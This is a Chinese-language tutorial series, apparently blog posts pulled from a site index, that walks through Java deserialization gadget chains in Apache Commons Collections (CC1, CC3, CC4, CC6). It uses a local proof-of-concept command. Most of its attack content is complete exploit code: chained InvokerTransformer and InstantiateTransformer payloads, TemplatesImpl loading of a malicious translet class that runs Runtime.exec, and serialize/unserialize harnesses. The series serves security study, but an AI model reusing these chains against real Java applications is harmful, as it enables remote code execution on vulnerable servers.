Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类 而且invocationHandler动态代理中的一个调用处理器类 注意这个类不是public类型,不能直接获取,因此需要反射获取Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 根据这些,我们可以将代码改为: 123456789101112131415161718192021222324public class CC1Test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException { Runtime r = Runtime.getRuntime(); //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer);// for(Map.Entry entry:transfromedMap.entrySet()){// entry.setValue(r); 这里 setValue应该传 Runtime.getRuntime()对象的// } Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap); } 但是呢,这里还存在两个问题 annotationInvocationHandler类readObject里 setValue() 里参数好像是控制不了的123456789if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } 前面测试里的,Runtime对象是自己生成的,但是它没有继承Serializable接口,是不能被序列化的 Runtime对象不能序列化问题–解决Runtime()没有继承Serializable接口,不能序列化,那我们想一想 什么是可以被序列化的呢? 它的 Class(类的原型)是可以序列化的,可以通过它的Class 弄出来一个它 过程:获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法 需要三次反射 代码如下: 12345Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime");Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);Method execMethod = c.getMethod("exec", String.class);execMethod.invoke(r,"calc"); 转化为用链子的Sink点 InvokerTransformer的transform来反射代码如下: 1234Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); 可以看到 用InvokerTransformer的transform来反射 都是后一个调前一个这种的 有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类 我们就可以利用这个类,把他们写在一起 写成一个Transformer[] 数组即可 1234567Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); 因此,原本的链子代码,可以转化为: 123456789101112131415161718192021222324252627282930313233public class CC1Test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer); Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 但是 我们执行一下 缺并不能弹出计算器 因为还有一个问题没有解决 annotationInvocationHandler类readObject里 setValue() 里参数控制 –解决我们调试进去看一下 在反序列化 readObject执行时, 会给name = memberValue.getKey(); 而memberValue即为我们传入的Map,所以就是获得它的key,这里我们赋的值为”key” 然后会 执行memberType = memberTypes.get(name); 什么是memberTypes呢? 它会获取memberType里的名为 name 的成员方法由于注解 Override 里面并没有key这个参数 因此会导致 memberType为null 进不去if语句里了 那我们必须一个满足条件的有成员方法的Class,同时我们的Map里的key值还要改为这个成员方法名字。而 Target里有 value方法。 那我们更改构造器里 Override.class 为 Targe.class 同时更改Map 的key的值为字符串”value” 这样不就能找到了吗? 成功进入if语句里 然后底下那个if 判断 if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))实际上是判断它俩能不能强转,肯定强转不了的。能进来 最后就到了这个 setValue()的地方,如果这里能控制,那我们就可以命令执行了 但是参数好像 它是new的一个代理类,并不能被控制 怎么办呢? 继续跟进,看一下,到了这里,就是最后的这个点了 这里这个valueTransformer.transform(value); 实际上我们需要把value 改成这个Runtime.class 才可以而这里的value是 这个 AnnotationTypeMismatchExceptionProxy 12//valueTransformer.transform(value);//chainedTransformer.transform(Runtime.class); 这样的话,就不得不提到这个 ConstantTransformer类了 ConstantTransformer类 它重写了transform方法。它的特点就是不管它接受什么输入input,都返回特定的那个值iConstant 运用到这边的话,那就十分好用了。 即使最后的那个输入并不理想,只要最后调用了这个类的transform()方法,然后就可以从这里入手,无视input,改成特定的那个值iConstant。 这里我们把 new ConstantTransformer(Runtime.class) 写入到 transformers数组里, 就是说在最后valueTransformer.transform(value); 即 chainedTransformer.transform(代理object);循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class达到控制的效果。 最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法 最后,成功执行calc <3> LazyMap链分析和之前的差不多,实际上区别就是 这个.get 是在LazyMap.get() 12345678910111213141516171819/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()*/ 所以原本的代码应该改为: 1234567891011121314151617181920212223242526272829303132333435public class CC1_lazy { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("sercc1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }}","link":"/2023/06/05/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8701-CC1%E9%93%BE/"},{"title":"Java反序列化Commons-Collection篇03-CC3链","text":"<1> 环境分析前两条 CC1和CC6利用invoke反射调用Runtime().getRuntime().exec()执行命令 很多时候服务器的代码当中的黑名单会选择禁用 Runtime CC3是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码的 这里测试环境为:jdk:jdk8u65CC:Commons-Collections 3.2.1 <2> 链子分析CC3的sink点在于 defineClass()但是只加载恶意类 不初始化的话 是不会执行代码的,还需要一个 newInstance 初始化的操作。 defineClass() 往往都是 protected类型的 只能通过反射去调用 但是下面我们会介绍到一个类 它就是CC3 rce的利用点 (1)TemplatesImpl 解析在我们前面 类加载机制这篇文章 https://www.cnblogs.com/1vxyz/p/17245206.html 中提到了一种利用TemplatesImpl 加载字节码的方法 它的链子为: 1234567/*TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()*/ TemplatesImpl类 这个类存在一个内部类 TransletClassLoader 继承了 ClassLoader并且重写了 defineClass 方法 重写的defineClass方法可以被外部类调用 我们再看看TemplatesImpl里哪里调用了defineClass defineTransletClasses() 调用了,可惜也是一个 private 私有属性 再找 我们找到了这个 getTransletInstance() 这个 他不仅对__class作了判断,为空的话赋值,赋完值后还调用了 newInstance() 那我们就重点关注这个函数了,能用的话,就相当于我们就可以动态执行我们的代码了 这个也是private的,我们再往上找 就找到了这个 newTransformer() 这个是public的 这就是这个 TemplatesImpl的链子 (2) TemplatesImpl 利用逻辑分析链子函数之间的关系找到了之后,我们来看一看详细调用过程 看看怎么利用 这里 newTransformer() 这里 会直接调用 getTransletInstance不需要满足一些条件 我们跟进 这里我们 需要赋值 _name 不能赋值 _class 因为我们就是想调用defineTransletClasses继续跟进 defineTransletClasses _bytecodes需要赋值 _tfactory 需要赋值 _bytecodes 不赋值就抛异常了,_tfactory需要调方法的 也需要赋值 编写exp我们需要通过反射 给 TemplatesImpl 的 _name、_bytecodes、_tfactory 赋值 _name 的值,这里需要的是 String,所以我们简单赋个 String _bytecodes 的值,这里需要的是byte[][] 但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码 可以这样赋值 12byte[] evil = Files.readAllBytes(Paths.get("evil.class")); byte[][] codes = {evil}; _tfactory 这里比较难 private transient TransformerFactoryImpl _tfactory = null;是transient类型的 无法写进序列化里直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可readObject里有给它的赋值语句 _tfactory = new TransformerFactoryImpl();所以直接在反射中将其赋值为 TransformerFactortImpl 即可 反射赋值操作实际上是重复的 这里我们写一个方法来实现 12345678910111213141516171819202122232425262728293031import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } 报错?调试跟进解决运行 发现在 defineTransletClasses 报了空指针错误 ??? 我们跟进去调试一下看看 在这里它进行了一个父类的判断 判断它父类是不是这个 ABSTRACT_TRANSLET 不是的话会调用下面 _auxClasses.put 那么现在就有两种方法 要么 让它父类 equals ABSTRACT_TRANSLET 要么 让 _auxClasses 不为null但是我们注意到下面也有一个判断 1234if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } 如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1 也不得行 还会报错 因此我们应该满足 构造的那个类 父类是 ABSTRACT_TRANSLET 是 abstract抽象类,因此我们也要重写这个类的方法 恶意类应该改为: 12345678910111213141516171819202122232425import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 现在执行一下试一下 代码就成功执行了 (3) CC1 + TemplatesImpl 结合上面TemplatesImpl 搞懂了之后 就好说了我们不是要执行 TemplatesImpl.newTransformer() 方法嘛 这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer() 链子没变 只是最后命令执行方式改了一下修改exp为: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC1_TemplatesImpl { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(1); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); //serialize(o); unserialize("cc1_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin")); oos.writeObject(o); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } } (4) CC6 + TemplatesImpl 结合同理 CC6与 TemplatesImpl结合的话,也是最终sink点 transform反射调用 TemplatesImpl.newTransformer() exp如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172```plaintextpackage org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC6_TemplatesImpl { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa"); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); //serialize(map2); unserialize("sercc6_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6_templatesImpl.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} (5) CC3本身链子分析事实上 我们利用这个 TemplatesImpl加载恶意类 是通过TemplatesImpl.newTransformer() 我们还可以再往上找找,看有没有什么地方调用了 newTransformer() 可以被利用呢? 这里我们找到了 TrAXFilter类 为什么利用点是 TrAXFilter类 不是其他两个呢 Process 这个在 main 里面,是作为一般对象用的,所以不用它 第二个 getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用 TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参 至于TrAXFilter,虽然它也是不能序列化的,但是它的构造函数里有搞头 查看这个类的构造方法 可以执行这个即可命令执行 _transformer = (TransformerImpl) templates.newTransformer(); 我们可以知道,如果可以调用这个构造方法的话,就可以调用我们的 .newTransformer() 但是这个类是不能被序列化的 就只能像之前获取Runtime一样 从它的Class入口 通过构造函数赋值 CC3 这里的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer 可以看一下这个类的transform方法 这里它会判断参数 是否是CLass类型,是的话 然后会获取这个指定参数类型的Class,指构造器 然后调它的构造函数 .newInstance()实例化 完美符合了我们的需求 我们可以通过 InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化 实现 templates.newTransformer() 那我们看看它的参数 Class[] paramTypes 构造函数的参数类型 Object[] args 命令执行代码: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin")); oos.writeObject(o); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} CC3反序列化链EXP那反序列化的链子 实际上就找 调用了 .transformer()的可控的链就行 我们前面的CC1、CC3都可用,选一个当前半部分即可 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //instantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数 instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); //serialize(o); unserialize("sercc3.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin")); oos.writeObject(o); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 总结CC3 关键在于理解这个 TemplatesImpl链子 加载恶意类的利用。 构成CC3反序列化链的命令执行点 前面的反序列化链的话,大体上都还是 CC1和CC6的 ···· -> lazyMap.get() -> InvokerTransformer.transform() 总结的流程图:","link":"/2023/06/07/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8703-CC3%E9%93%BE/"},{"title":"Java反序列化Commons-Collection篇04-CC4链","text":"<1>环境分析因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化。同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径 jdk:jdk8u65CC:Commons-Collections 4.0pom.xml 添加 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <2>链子分析CC4实际上是 另一个分支,不同于CC1用 LazyMap.get() 调用 .transform() CC4用TransformingComparator.compare() 调用 CC4的命令执行点则是 TemplatesImpl加载恶意类 因此链子后半段可以沿用CC3 不需要更改 我们再来看一看哪里调用了 compare 这里的话,找到了 PriorityQueue 优先队列类里 调用了compare 我们看一下 CC4的链子整体为: 1234567891011/*PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() InstantiateTransformer.transform() TemplatesImpl.newTransformer() defineClass()->newInstance()*/ <3> 编写EXP按着链子写下来,应该是这样 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); //transformingComparator.compare(1,2); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); serialize(priorityQueue); unserialize("sercc4.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 但是这里并没有弹出计算器,我们调试看看哪一步卡住了 这里PriorityQueue.heapify() 里我们应该进入循环,想执行 siftDown() 但这里size为00>>>1 = 0我们运行一下, 可以看道 2>>>1 = 1 那我们就知道了 长度size为2的时候,会进入 我们在队列代码里add随便加两个 12priorityQueue.add(1);priorityQueue.add(2); 再运行,就弹出来计算器。但是这里的话,还有一个问题 就是 add() -> offer() -> siftUp() -> siftUpUsingComparator() 就是这个add他也会执行compare,本地执行的 并不是通过反序列化弹出的shell 所以这里我们初始化时需要,先不赋值 transformingComparator,执行完add之后,反射再改回来即可最终EXP如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import 